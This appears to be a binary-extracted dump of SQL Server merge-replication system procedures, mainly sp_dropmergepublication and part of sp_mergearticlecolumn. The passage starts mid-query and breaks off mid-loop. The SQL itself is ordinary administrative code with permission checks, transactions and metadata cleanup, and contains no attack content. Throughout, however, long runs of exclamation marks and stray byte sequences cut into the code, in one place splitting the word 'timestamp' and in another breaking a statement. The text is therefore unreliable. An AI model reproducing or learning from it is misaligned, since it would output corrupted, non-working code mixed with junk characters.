					pubs.decentralized_conflicts,
					pubs.generation_leveling_threshold,
					pubs.automatic_reinitialization_policy
			FROM	dbo.sysmergesubscriptions	subs,
					dbo.sysmergepublications	pubs
					WHERE pubs.name LIKE @publication
						 and UPPER(pubs.publisher)=UPPER(@publisher) 
						 and pubs.publisher_db=@publisher_db
						AND subs.subid = pubs.pubid
						AND subs.subscriber_type = 1
						AND UPPER(subs.subscriber_server) = UPPER(@publisher)
						AND subs.db_name = @publisher_db
						AND (1 = {fn ISPALUSER(pubs.pubid)} or
							  1 = is_srvrolemember('db_owner') or
							  1 = isnull(is_member('replmonitor'),0))
			ORDER BY name
		end
	if @@ERROR <> 0 
		RETURN (1)

	update @tmp_tbl set snapshot_ready=0 where snapshot_ready>1
	if @@ERROR<>0
		RETURN (1)

    	declare hC1 cursor local fast_forward for select pubid from @tmp_tbl for read only
    	open hC1
    	fetch hC1 into @pubid
    	while (@@fetch_status <> -1)
	begin
		update @tmp_tbl set num_of_articles = (select count(*) from dbo.sysmergearticles where pubid = @pubid)
		if @@ERROR <> 0
		begin
			close hC1
			deallocate hC1
			return (1)
		end
    		fetch hC1 into @pubid
    	end
    	close hC1
    	deallocate hC1
    	
	select * FROM @tmp_tbl
	RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Av?--
-- Name: sp_dropmergepublication
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_dropmergepublication(
        @publication sysname,       /* The publication name */
        @ignore_distributor bit = 0,
        @reserved bit = 0,
        @ignore_merge_metadata bit = 0
) AS

    set nocount on
    /*
    ** Declarations.
    */
    declare @ad_guidname        sysname
    declare @pubid                uniqueidentifier
    declare @article            sysname
    declare @cmd                nvarchar(255)
    declare @retcode            int
    declare @distproc            nvarchar(300)
    declare @distributor        sysname
    declare @distribdb            sysname
    declare @working_dir        varchar(255)
    declare @working_dir_drive    varchar(255)
    declare @pub_dir            nvarchar(255)
    declare @db_name            sysname
    declare @implicit_transaction    int
    declare @close_cursor_at_commit int
    declare @dynamic_filters        bit
    declare @alt_snapshot_folder nvarchar(255)
    declare @pub_alt_snapshot_folder nvarchar(255)
    			,@publishingservername sysname

    select @close_cursor_at_commit = 0
    select @implicit_transaction = 0
    		,@publishingservername = publishingservername()
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0
    /*
    ** Save setting values first before changing them
    */
    IF (@reserved = 0)
    BEGIN
        SELECT @implicit_transaction = @@options & 2
        SELECT @close_cursor_at_commit = @@options & 4
        SET IMPLICIT_TRANSACTIONS OFF
        SET CURSOR_CLOSE_ON_COMMIT OFF
    END

    set @ad_guidname = NULL
    /*
    ** Initializations.
    */    
    select @db_name = db_name()

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    if LOWER(@publication) = 'all'
    BEGIN
        declare hC1 CURSOR LOCAL FAST_FORWARD FOR select name 
            FROM dbo.sysmergepublications where UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name() 
                FOR READ ONLY
        
        OPEN hC1
        FETCH hC1 INTO @publication
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergepublication @publication=@publication,
                @ignore_distributor = @ignore_distributor,
                @reserved = 1,
                @ignore_merge_metadata = @ignore_merge_metadata

            FETCH hC1 INTO @publication
        END
        CLOSE hC1
        DEALLOCATE hC1
        RETURN (0)
    END

    if @publication IS NULL
        BEGIN
            RAISERROR (14003, 16, -1)
            RETURN (1)
        END
    /*
    ** Get the @pubid.
    */
    if NOT EXISTS (select * FROM dbo.sysmergepublications 
        WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name())
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END
    
    select @pubid = pubid,
           @dynamic_filters = @dynamic_filters,
           @alt_snapshot_folder = alt_snapshot_folder,
           @ad_guidname=ad_guidname
      FROM dbo.sysmergepublications 
        WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    /* 
    ** Ignore external publications
    */
    if exists (select * from dbo.sysmergesubscriptions where subid=@pubid 
        and pubid=@pubid and db_name<>db_name())
        RETURN (0)

    /*
    ** Check to make sure that there are push or pull subscriptions on the publication.
    */
    if EXISTS (select * FROM dbo.sysmergesubscriptions    subs, 
                    dbo.sysmergepublications                pubs, 
                    dbo.MSmerge_replinfo                    repinfo
                WHERE    pubs.name = @publication
                    AND UPPER(pubs.publisher)=UPPER(publishingservername()) 
                    AND pubs.publisher_db=db_name()
                    AND subs.pubid = pubs.pubid
                    AND subs.status <> 2  -- Having a deleted subscription row is fine
                    AND repinfo.repid <> @pubid
                    AND repinfo.repid = subs.subid
                    AND subs.subid <> subs.pubid
                    AND subs.subscriber_type <> 3 and subs.subscriber_type <> 2)
    BEGIN
        RAISERROR (14005, 16, -1)
        RETURN (1)
    END

    exec @retcode = sys.sp_MSdropmergepalrole @pubid
    if @retcode<>0 or @@error<>0
    begin
        return 1
    end

    begin tran
    save TRANSACTION dropmergepublication

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_dropmergepublication', @publication)
        goto FAILURE            

    end

    select @got_merge_admin_applock = 1

    -- if this is the last publication and there are no other subscriptions set the ignore_merge_metadata to 1
    if not exists (select 1 from dbo.sysmergesubscriptions where subid<>@pubid and sys.fn_MSmerge_islocalsubid(subid)=1)
    begin
        select @ignore_merge_metadata = 1
    end


    /*
    ** Delete all articles from the publication.
    */

    update dbo.sysmergepublications set snapshot_ready=0 where pubid=@pubid --so that articles can be dropped
    if @@ERROR<>0
        goto FAILURE

    EXECUTE @retcode = sys.sp_dropmergearticle @publication = @publication, @article = 'all',
        @ignore_distributor = @ignore_distributor, @ignore_merge_metadata = @ignore_merge_metadata
    if @@ERROR <> 0 OR @retcode <> 0
    begin
        RAISERROR (20040, 16, -1, @publication)
        goto FAILURE
    end

    /*
    ** Delete sync task of Publication.
    */
    execute @retcode = sys.sp_MSdropmergepub_snapshot @publication = @publication,
        @ignore_distributor = @ignore_distributor
    if @@ERROR <> 0 OR @retcode <> 0
    begin
        RAISERROR (20010, 16, -1, @publication)
        goto FAILURE
    end

    -- delete supportability settings for the subscriptions that we are about to delete.
    delete from dbo.MSmerge_supportability_settings where pubid = @pubid            
    delete from dbo.MSmerge_log_files where pubid = @pubid

    /*
    ** Remove my subscription entries from dbo.sysmergesubscriptions and dbo.MSmerge_replinfo
    */
    if exists (select * from dbo.sysmergesubscriptions where pubid = @pubid and subid <> @pubid)
    begin
        DELETE from dbo.MSmerge_replinfo 
            WHERE repid in (select subid from dbo.sysmergesubscriptions where pubid = @pubid and subid <> @pubid)
        if @@ERROR <> 0
            goto FAILURE
            
        DELETE from dbo.sysmergesubscriptions WHERE pubid = @pubid and subid <> @pubid
        if @@ERROR <> 0
            goto FAILURE
        exec sys.sp_MScleanup_subscriber_history
        if @@ERROR<>0 
            goto FAILURE    
    end            

    /*
    ** Remove my own subscription from dbo.sysmergesubscriptions.
    */
    if exists (select * from dbo.sysmergesubscriptions where subid = @pubid)
    begin
        DELETE from dbo.sysmergesubscriptions WHERE subid = @pubid
        if @@ERROR <> 0
            goto FAILURE
            
        exec sys.sp_MScleanup_subscriber_history @subid = @pubid
        if @@ERROR<>0 
            goto FAILURE    
    end            
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.A/?

    if exists (select * from dbo.MSmerge_replinfo where repid = @pubid)
    begin
        DELETE from dbo.MSmerge_replinfo WHERE repid = @pubid
        if @@ERROR <> 0
            goto FAILURE
    end                

    -- If the only remaining subscriptions are old entries (before restore),
    -- we remove them now.
    if not exists (select * from dbo.sysmergesubscriptions 
                        where status <> 7) -- REPLICA_STATUS_BeforeRestore
    begin
        delete from dbo.sysmergesubscriptions
        truncate table dbo.MSmerge_supportability_settings
        truncate table dbo.MSmerge_log_files
        truncate table dbo.MSrepl_errors
        truncate table dbo.MSmerge_history
        truncate table dbo.MSmerge_articlehistory
        truncate table dbo.MSmerge_sessions
        delete from dbo.MSmerge_replinfo
    end

    
    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        /*
        ** Get distribution server information for remote RPC call.
        */
        EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
                                           @distribdb = @distribdb OUTPUT,
                                           @directory = @working_dir OUTPUT
        IF @@ERROR <> 0 OR    @retcode <> 0
        BEGIN
            RAISERROR (14071, 16, -1)
            goto FAILURE
        END

        /*
        ** Drop the publication info from the distributor
        */
        select @distproc = RTRIM(@distributor) + '.' + QUOTENAME(@distribdb) + 
            '.dbo.sp_MSdrop_publication'
        EXECUTE @retcode = @distproc
            @publisher = @publishingservername,
            @publisher_db = @db_name,
            @publication = @publication,
            @alt_snapshot_folder = @alt_snapshot_folder
            
        if @@ERROR <> 0 OR @retcode <> 0
        begin
            goto FAILURE
        end
    end

    
    /* Remove all dynamic snapshot jobs of this publication */
    exec @retcode = sys.sp_MSdropmergedynamicsnapshotjob 
        @publication = @publication,
        @ignore_distributor = @ignore_distributor

    if @@ERROR <> 0 OR @retcode <> 0
    begin
        goto FAILURE
    end

    /*
    ** Execute the cleanup routine for the publication
    */
    exec sys.sp_MSpublicationcleanup @publisher=@publishingservername, 
            @publisher_db = @db_name,
            @publication = @publication, @ignore_merge_metadata = @ignore_merge_metadata
    
    if @@ERROR <> 0
        goto FAILURE

    -- delete supportability settings for the subscriptions that we are about to delete.
    delete from dbo.MSmerge_supportability_settings where pubid = @pubid            
    delete from dbo.MSmerge_log_files where pubid = @pubid

    delete from dbo.sysmergesubscriptions where pubid=@pubid
    if @@ERROR<>0
        goto FAILURE
        
    exec sys.sp_MScleanup_subscriber_history
    if @@ERROR<>0
        goto FAILURE

    -- If the only remaining subscriptions are old entries (before restore),
    -- we remove them now.
    if not exists (select * from dbo.sysmergesubscriptions 
                        where status <> 7) -- REPLICA_STATUS_BeforeRestore
    begin
        delete from dbo.sysmergesubscriptions
        truncate table dbo.MSmerge_supportability_settings
        truncate table dbo.MSmerge_log_files
        truncate table dbo.MSrepl_errors
        truncate table dbo.MSmerge_history
        truncate table dbo.MSmerge_articlehistory
        truncate table dbo.MSmerge_sessions
        delete from dbo.MSmerge_replinfo
    end

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRANSACTION
    
    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    
    return (0)

FAILURE:            
    RAISERROR (14006, 16, -1)
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION dropmergepublication
        COMMIT TRANSACTION
    end
    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END           
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(A`bvz[
create procedure sys.sp_mergearticlecolumn (
    @publication sysname,			/* The publication name */
    @article sysname,				/* The article name */
    @column sysname = NULL,			/* The column name */
    @operation nvarchar(4) = 'add',		 /* Add or delete a column */
    @schema_replication nvarchar(5) = 'false',	/* reserved for internal use */
    @force_invalidate_snapshot bit = 0, /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0	/* Force reinit subscription */
) AS

    SET NOCOUNT ON

    declare @mergepublish    int
    declare @iscomputed      int
    declare @xtype           int
    declare @sync_mode       int
    declare @index_cnt       int
    declare @indid           int
    declare @in_partition    bit
    declare @colid           int
    DECLARE @cnt int, @idx  int    /* Loop counter, index */
    DECLARE @columnid smallint     /* Columnid-1 = bit to set */
    DECLARE @columns binary(128)         /* Temporary storage for the converted column */
    DECLARE @pubid uniqueidentifier                     /* Publication identification number */
    DECLARE @retcode int                /* Return code for stored procedures */
    DECLARE @artid uniqueidentifier
    declare @object_view   sysname
    declare @filter_clause nvarchar(1000)
    DECLARE @objid int              /* Article base table id */     
    declare @publisher    sysname
    declare @publisher_db sysname
    declare @pkkey        sysname
    declare @conflict_table sysname
    declare @status_value   int
    declare @column_list    nvarchar(max)
    declare @ins_conflict_proc sysname
    declare @qual_source_object nvarchar(270)
    declare @qual_object_view   nvarchar(270)
    declare @qual_tmp_object    nvarchar(270)
    declare @source_object    nvarchar(300)
    declare @quoted_source_object nvarchar(270)
    declare @column_name sysname
    declare @compatlevel int
    declare @identity_support int
    declare @automatic_reinitialization_policy bit
    declare @got_merge_admin_applock bit
    declare @column_tracking int
    declare @filestream_col_published int
    declare @has_filestream int

    select @got_merge_admin_applock = 0
    select @filestream_col_published = 0

    select @publisher = publishingservername()
    select @publisher_db = db_name()
    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    select @mergepublish = 0x4000
    --select @v_unique_index     = 2        -- status in sysindexes
    --select @v_unique_constraint         = 4096 --status in sysindexes

    /*
    ** Check to see if the database has been activated for publication.
    */

    IF ( (SELECT category & 4 FROM master.dbo.sysdatabases WHERE name = DB_NAME() collate database_default) = 0 )
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists and that it conforms to the
    ** rules for identifiers.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_mergearticlecolumn')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0 or @@ERROR<>0
            RETURN (1)

    SELECT @pubid = pubid, 
           @sync_mode = sync_mode, 
           @compatlevel = backward_comp_level,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
        FROM dbo.sysmergepublications WHERE name = @publication 
                                        and LOWER(publisher)=LOWER(@publisher)
                                        and publisher_db = @publisher_db
                                                                    
    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END

    /*
    ** Parameter Check:     @article.
    ** Check to make sure that the article exists in the publication.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_mergearticlecolumn')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @article
    IF @retcode <> 0 or @@ERROR<>0
            RETURN (1)

    /*
    ** Make sure the article exists.
    */
    SELECT @artid = artid, @column_tracking = column_tracking FROM dbo.sysmergearticles
       WHERE pubid = @pubid AND name = @article
    IF @artid IS NULL
        BEGIN
            RAISERROR (20027, 16, -1, @article)
            RETURN (1)
        END
    
    /*
    ** Parameter Check:     @column.
    ** Check to make sure that the column exists and conforms to the rules
    ** for identifiers.
    */

    IF @column IS NOT NULL
        BEGIN
            EXECUTE @retcode = sys.sp_validname @column
            IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
        END

    /*
    ** Parameter Check:     @operation.
    ** The operation can be either 'add' or 'drop'.
    */
    IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('add', 'drop')
        BEGIN
            RAISERROR (14019, 16, -1)
            RETURN (1)
        END
        
    /*
    ** column name can not be null for 'drop' operation. OK for 'add' operation
    */
    IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS)='drop' and @column is NULL
        BEGIN
            RAISERROR(14043, 16, -1, '@column', 'sp_mergearticlecolumn')
            RETURN (1)
        END 

    declare @internalcallerbit bit
    exec @retcode = sys.sp_MScheckcontext_internalcaller @internalcallerbit OUTPUT
    if @retcode <>0 or @@ERROR<>0
        return 1

    /*
    ** @schema_replication must only be set to FALSE by user code, only internal code can set this to TRUE - 
    ** Check the mergearticlecolumn_internalcaller bit to verify that all internal code is using this FLAG.
    */
    IF LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='true' and (@internalcallerbit & 1 = 0)
        BEGIN
            RAISERROR(21490, 16, -1, '@schema_replication', 'FALSE')
            RETURN (1)
        END 


    /*
    ** Can not drop non-identity, non-timestamp, non-computed columns that are not nullable and have no default value
    */
    SELECT @status_value=status, @objid = objid, 
        @source_object = object_name(objid),@identity_support = identity_support FROM dbo.sysmergearticles WHERE artid = @artid and pubid=@pubid
        
    select @colid=column_id from sys.columns where object_id=@objid and name=@column
    if not exists (select * from sys.columns where object_id = @objid and name=@column and (is_nullable = 1 
                    OR system_type_id=type_id('timestamp') OR is_computed = 1))
        and not exists (select * from sysconstraints where id=@objid and colid=@colid and OBJECTPROPERTY ( constid , 'IsDefaultCnst' ) = 1)
            and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS)='drop' and LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
            and ColumnProperty(@objid, @column, 'IsIdentity') <> 1
    BEGIN
        RAISERROR(21165, 16, -1, @column)
        return (1)
    END
        
    
    /*
    ** Make sure that the column <columns> is not NULL - if NULL set to 0x00.
    */
    SELECT @columns = columns FROM dbo.sysmergearticles WHERE artid = @artid and pubid=@pubid
    IF @columns IS NULL
    begin
        select @columns = 0x00
        UPDATE dbo.sysmergearticles SET columns = 0x00 WHERE artid = @artid and pubid=@pubid
    end


    /*
    **    Make sure that you are not trying to add more than 246 columns to the table.
    */

    IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'add'
    BEGIN
        IF @column IS NULL
        BEGIN
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Avz[    select @cnt = count(*) from sys.columns 
                where object_id=@objid and 
                     is_computed<>1 and 
                     system_type_id<>type_id('timestamp')
    
            IF @cnt > 246
            BEGIN
                RAISERROR(25006, 16, -1, @article, 246)
                RETURN (1)
            END
        
        END
        ELSE
        BEGIN
            exec sp_MSBitmapCount @bm1=@columns, @count = @cnt output
            IF @cnt >= 246
            BEGIN
                RAISERROR(25006, 16, -1, @article, 245)
                RETURN (1)
            END    
        END
    END

    -- Colvs can only handle 246 columns so we can not allow more than 246 columns to exist on a table
    -- if column tracking is being used. The reason is that we track all the columns even when vertical
    -- partitioning is used and only some of the columns are published.
    if @column_tracking = 1
    begin
        select @cnt = count(*) from sys.columns 
            where object_id=@objid
        IF @cnt > 246
        BEGIN
            RAISERROR(25020, 16, -1, @article, 246)
            RETURN (1)
        END
    end

    
    if LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
    begin        
        select @indid = index_id from sys.indexes where object_id = @objid and is_primary_key <> 0    /* PK index */
        select @index_cnt = 1
        while (@index_cnt <= 16)
        begin
            select @pkkey = INDEX_COL(@source_object, @indid, @index_cnt)
            if @pkkey is NULL
                break
            if @pkkey=@column
            begin
                raiserror(21250, 16, -1, @column)
                return (1)
            end
            select @index_cnt = @index_cnt + 1
        end


        /* Not allowed to drop identity column if identity_support is set to 1 */

        if @identity_support = 1
        begin
            if exists (    select * from sys.columns where object_id = @objid  and
                                                        @column = name        and
                                                        is_identity = 1)
            begin
                raiserror(22550, 16, -1, @column)
                return (1)
            end
                                                        
        end
        
    
        /*
        ** Check for unique index defined on this column - to disallow such a column from being dropped
        */    
        if exists (select * from sys.indexes where object_id=@objid 
                    --and (status & @v_unique_index = @v_unique_index 
                    --    or status & @v_unique_constraint = @v_unique_constraint))
                    and (is_unique = 1 or is_unique_constraint = 1))
        begin
            declare @keys varbinary(816)
            declare @i        int
            declare #check_unique CURSOR LOCAL FAST_FORWARD for 
            select index_id from sys.indexes where object_id=@objid 
                    and (is_unique = 1 or is_unique_constraint = 1)
            open #check_unique
            fetch #check_unique into @indid
            while (@@fetch_status<>-1)
            begin
                SELECT @i = 1
                WHILE (@i <= 16)
                BEGIN
                        SELECT @pkkey = INDEX_COL(@source_object, @indid, @i)
                        if @pkkey is NULL
                            break
                        if @pkkey=@column
                        BEGIN
                            if LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='true'
                                raiserror(21265, 16, -1, @column, @source_object)
                            else
                                raiserror(21347, 16, -1, @column)                            
                            close #check_unique
                            deallocate #check_unique
                            return (1)
                        END
                        select @i = @i + 1
                END 
                fetch #check_unique into @indid
            end
            close #check_unique
            deallocate #check_unique
        end
    end

    begin tran
    save TRANSACTION articlecolumn

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_mergearticlecolumn', @publication)
        goto FAILURE            
    end

    select @got_merge_admin_applock = 1

    -- Get exclusive object lock upfront so subsequent %%ColumnEx can proceed
    exec sys.sp_MSget_qualified_name @objid, @qual_source_object OUTPUT
    if @qual_source_object is null 
        goto FAILURE

    exec %%Object(MultiName = @qual_source_object).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)      
    --exec %%Object(MultiName = @qual_source_object).LockExclusiveMatchID(ID = @objid)      
    if @@error <> 0
        goto FAILURE
    
    /*
    ** If no columns are specified, or if NULL is specified, set all
    ** the bits in the 'columns' column so all columns will be included, 
    */
    IF @column IS NULL
    BEGIN
        SELECT @cnt = max(column_id), @idx = 1 FROM sys.columns WHERE object_id = @objid 
        SELECT @columns = NULL
        WHILE @idx <= @cnt
        BEGIN
            /* to make sure column holes will not be included */
            if exists (select * from sys.columns where column_id=@idx and object_id=@objid and 
                (@sync_mode=0 OR (is_computed<>1 and system_type_id <> type_id('timestamp'))))
            begin
                exec sys.sp_MSsetbit @bm=@columns OUTPUT, @coltoadd=@idx, @toset = 1
                if @@ERROR<>0 or @retcode<>0
                    goto FAILURE

                select @column_name = name, @has_filestream = is_filestream  from sys.columns where object_id=@objid and column_id=@idx
                if @@error<>0
                    goto FAILURE
                exec %%ColumnEx(ObjectID=@objid, Name=@column_name).SetMergePublished(Value=1) 
                if @@ERROR<>0
                    goto FAILURE

                if ( @filestream_col_published <> 1  and @has_filestream = 1 )
                    select @filestream_col_published = 1

            end
            SELECT @idx = @idx + 1
        END
        UPDATE dbo.sysmergearticles SET columns = @columns WHERE name = @article AND pubid = @pubid
        if @sync_mode=1 and exists (select * from sys.columns where object_id=@objid and (is_computed=1 or system_type_id=type_id('timestamp')))
            UPDATE dbo.sysmergearticles SET vertical_partition = 1 WHERE name = @article AND pubid = @pubid
    END
    ELSE
    BEGIN
        /* if @column is NULL, meanning all columns are in, do not bump up version to Shiloh. */
        if @compatlevel < 40
        begin
            if LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
                raiserror(21351, 10, -1, @publication)
            else
                raiserror(21352, 10, -1, @publication)
            exec @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
            if @@ERROR<>0 or @retcode<>0
                GOTO FAILURE
        end

        SELECT @columnid = column_id, @iscomputed=is_computed, @xtype=system_type_id, @has_filestream = is_filestream 
            FROM sys.columns WHERE object_id = @objid AND name = @column
        IF ((@@error <> 0) OR (@columnid IS NULL))
        BEGIN
            RAISERROR (21166, 16, -1, @column)
            GOTO FAILURE
        END

        if ( @filestream_col_published <> 1  and @has_filestream = 1 )
            select @filestream_col_published = 1

        /*
        ** for character mode publications, we do not allow adding computed column or t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(A!Gvz[imestamp columns
        ** into the vertical parititioning. 
        */
        if @sync_mode=1 and (@iscomputed = 1 or type_name(@xtype) ='timestamp') and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'add'
        begin
            if LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
                begin
                    raiserror(21269, 16, -1)
                    GOTO FAILURE
                end
            else
            begin    
                if @@TRANCOUNT >0 
                begin
                    ROLLBACK TRANSACTION articlecolumn
                    COMMIT TRAN
                end
                return (0)
            end
        end
        
        if ColumnProperty(@objid, @column, 'isrowguidcol') = 1 and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
        begin
            RAISERROR(21162, 16, -1)
            GOTO FAILURE
        end

        -- for computed columns, make sure all dependent cols are published if add
        if @iscomputed = 1
        begin
            declare @refid int, @isinpartition smallint
            declare @ref_major_id int
            declare @ref_object_name nvarchar(512)
            select top 1 @refid=referenced_minor_id, @ref_major_id=referenced_major_id from sys.sql_dependencies where column_id=@columnid and class =1 and object_id=@objid order by referenced_minor_id
            while @refid is not null
            begin

				if @objid = @ref_major_id	-- columns within the same table.
				begin
	                -- check its dependent cols are published
	                exec @isinpartition = sys.sp_MStestbit @bm=@columns, @coltotest=@refid
	                if @isinpartition=0
	                begin
	                    RAISERROR(21549, 16, -1, @column)
	                    GOTO FAILURE
	                end 
				end
				else	-- other objects that this depends on.
				begin
	                -- check that the objects it depends on are published only if the referenced object is a table,view,proc or function.
	                if 	exists (select * from sys.objects where object_id = @ref_major_id and type in ('U','V','P','FN')) and 
	                	not exists (select * from dbo.sysmergearticles where objid = @ref_major_id and pubid = @pubid) and
	                	not exists (select * from dbo.sysmergeschemaarticles where objid = @ref_major_id and pubid = @pubid)
	                begin
	                	exec sys.sp_MSget_qualified_name @ref_major_id, @ref_object_name OUTPUT
	                    RAISERROR(20723, 16, -1, @column, @ref_object_name)
	                    GOTO FAILURE
	                end 
				end

                -- next loop
                select top 1 @refid=referenced_minor_id, @ref_major_id=referenced_major_id from sys.sql_dependencies where column_id=@columnid and class =1 and object_id=@objid and referenced_minor_id>@refid order by referenced_minor_id
                if @@rowcount = 0
                    set @refid = NULL
            end
        end
        
        -- if drop, make sure the computed columns that depends on it is already dropped
        if LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
        begin
            declare @refid2 int, @isinpartition2 smallint
            select top 1 @refid2=column_id from sys.sql_dependencies where referenced_minor_id=@columnid and class =1 and object_id=@objid order by referenced_minor_id
            while @refid2 is not null
            begin
                -- check its dependent cols are published
                exec @isinpartition2 = sys.sp_MStestbit @bm=@columns, @coltotest=@refid2
                if @isinpartition2<>0
                begin
                    RAISERROR(21550, 16, -1, @column)
                    GOTO FAILURE
                end 
                -- next loop
